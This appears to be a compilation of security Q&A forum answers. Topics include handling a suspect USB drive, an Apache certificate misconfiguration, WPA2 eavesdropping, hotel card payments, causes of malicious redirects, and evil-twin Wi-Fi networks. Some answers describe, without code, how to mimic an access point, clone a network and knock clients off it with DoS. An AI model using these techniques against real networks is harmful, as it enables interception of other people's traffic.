you should attempt to only insert the drive into a secondary PC running some live version of a linux distro, preferably one you wouldn't mind completely wiping afterwards.
If not, just cut your losses and physically destroy the pendrive. USB viruses are extremely efficient these days, and are more frequently able to persist in hardware between wipes (either on small partitions on the pendrive, or by loading themselves into the firmware of the infected machines hardware).

The point is, there is no guaranteed way to insert that drive without risking further contamination.


Accessing multiple sites via HTTPS produces different, unrelated content (Peugeot club via HTTPS)

This is likely a server misconfiguration, since all those websites are served from 95.173.215.72.

When opening one of the websites via HTTPS, my browser warns me that the certificate common name, which must match the website domain, is invalid.

I guess those websites aren't supposed to be acccessible via HTTPS, since Apache isn't configured to deliver the correct certificate, and seems to load the default website (forum.205gti.org).

As far as I know, this isn't a security vulnerability.


Can wireless devices on the same WPA2-Personal secured network listen in on each other?

Let me tackle the first part of the question with the basics. Each node in the network has it's own encryption key with the access point. This makes it not possible to simply decrypt everyone's traffic just by sharing the network.

But, is it possible to get the other node's traffic? Yes. There are a variety of ways. For instance, I could mimic the AP and force the other nodes to connect through my laptop. Then I see everyone's traffic in the clear.

I'm making some assumptions as to what your core question is, though.


How can hotels securely receive your credit card details (for a custom, one-off payment)?

Why not purchase a disposable Visa/ MasterCard/ Amex with the exact amount on it?  Then you only have the amount they agreed to at risk.  Even if something bad happens, it only happens to the funds they agreed were for the purchase.


How does "automatic" redirection occurs from a legitimate website to a scammy one?

Lots of possibilities...

Malicious browser extensions can do this easily. It's less likely given that it happened on multiple browsers, though.
Malware. Scanners/AV are a last-ditch attempt to save yourself from malware; they are unreliable, not that hard to bypass, and if you rely on them as a primary form of defense you will get compromised. With that said, it's weird for it to only affect a single site like this.
Network attacks such as DNS spoofing or ARP poisoning. These should be defeated by navigating directly to the https://ebay.com/ URL, though.
Compromised website. If there is (or recently was) a vulnerability in the site - either server-side (such as a file include) or client-side (such as stored XSS) - it could cause the behavior you're seeing. The fact that this only appears to happen with one site is evidence in favor of this, though not conclusive.
Compromised domain name. If the domain registration were taken over, an attacker could host their own site with any content they wanted (including a look-alike of the old site) and get a valid HTTPS certificate for it. It's unlikely that the root ebay.com domain would be vulnerable to such an attack, though.

There are other, even less likely possibilities. I can't reproduce the described behavior on my machine - https://ebay.com/ loads just fine for me - so I can't investigate any further. You could use the browser's debug tools and/or an intercepting proxy (such as Fiddler or Burp Suite) to capture the network traffic / view the code on the page, and see what's triggering the redirect (assuming it's not just the browser being compromised in some way).


When you create an Evil Twin wireless network, as you said, if you are "clonning" an unsecured network (network without any encryption) you'll have no problems and the clients will connect to your network instead of legitimate if you enough power to trick them.

If you want to clone a network with any encryption security you must previously know the key to create it in exactly the same way. So a work must be done previously in order to get that password. If no, the clients will never connect automatically to your rogue network.

So, to answer your question... the answer is yes only if you have previously hacked the network to know the exactly parameters including the key. If no, there is no other way.

You can perform DoS to the legitimate network and probably some clients will enter manually into your fake network but of course they must "bite the lure" which is a small part of social engineering.